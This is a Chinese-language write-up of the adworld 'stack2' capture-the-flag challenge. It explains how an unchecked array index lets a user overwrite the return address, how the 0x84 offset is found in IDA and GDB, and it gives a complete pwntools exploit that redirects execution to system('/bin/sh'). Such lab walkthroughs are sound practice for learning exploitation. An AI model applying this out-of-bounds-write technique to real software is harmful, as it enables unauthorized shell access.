adworld - stack2
adworld - stack2
题目概述:给一个数组(自己控制数组大小和填入的数据),并进行(展示, 增加, 修改值, 求平均值, 退出)菜单选项
存在后门函数(system(“/bin/bash”)),但是没找到栈溢出的点
没判断数组的边界造成任意地址修改
但是如何准确无误的填入返回地址?
-> 这就需要寻找数组的首位地址距离返回地址的距离了(就与栈溢出寻找栈大小一样)
思路:通过IDA中汇编确定地址 到GDB中 下断点动调确定大小
1.寻找数组首地址
汇编没什么基础,建议复制粘贴询问AI,逐行解释,慢慢学习+理解
我的理解:eax寄存器保存返回值(输入的v7变量保存在eax寄存器中) — 寻找有关eax的赋值语句 — 赋值给了ecx寄存器
080486D5 mov [eax], cl
下断点,运行,数组长度为1,输入65(0X41),ECX寄存器存放有0x41,且要将低8位赋值给EAX寄存器指向的内存中(数组)
EAX寄存器 0xffffc8d8
2.寻找函数结束的地址
上面有代码 return 0; 这部分就是函数结束的地方了
retn时esp指向的地址是返回地址
0xffffc95c
ESP寄存器内地址 0xffffc95c
>>> 0xffffc8d8 - 0xffffc95c
-132
Exp
# stack2 32位 NX保护,Canary
from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
# 有后门函数->寻找有没有栈溢出 -> 未检查数组边界, 造成任意地址修改
io = process('./stack2')
# io = remote("")
# 寻找参数距离返回地址的距离 0x84
def send_num(addr, num):
io.sendlineafter(b"5. exit\n", b"3")
io.sendlineafter(b"which number to change:\n", str(addr))
io.sendlineafter(b"new number:\n", str(num))
# system_addr = 0x 08 04 84 50
# binsh_addr = 0x 08 04 89 87
io.sendlineafter(b"How many numbers you have:\n", b"1")
io.sendlineafter(b"Give me your numbers\n", b"1")
# 直接从132位开始写 system_addr + return_addr + binsh
send_num(0x84, 0x50)
send_num(0x85, 0x84)
send_num(0x86, 0x04)
send_num(0x87, 0x08)
# 跳过中间四位的返回地址
send_num(0x8C, 0x87)
send_num(0x8D, 0x89)
send_num(0x8E, 0x04)
send_num(0x8F, 0x08)
io.sendline(b"5")
io.interactive()
总结
- 数组边界判断 — 访问任意内存地址
- 汇编语言的了解
- GDB动调
参考Wp
https://blog.csdn.net/ckk1314520/article/details/121070383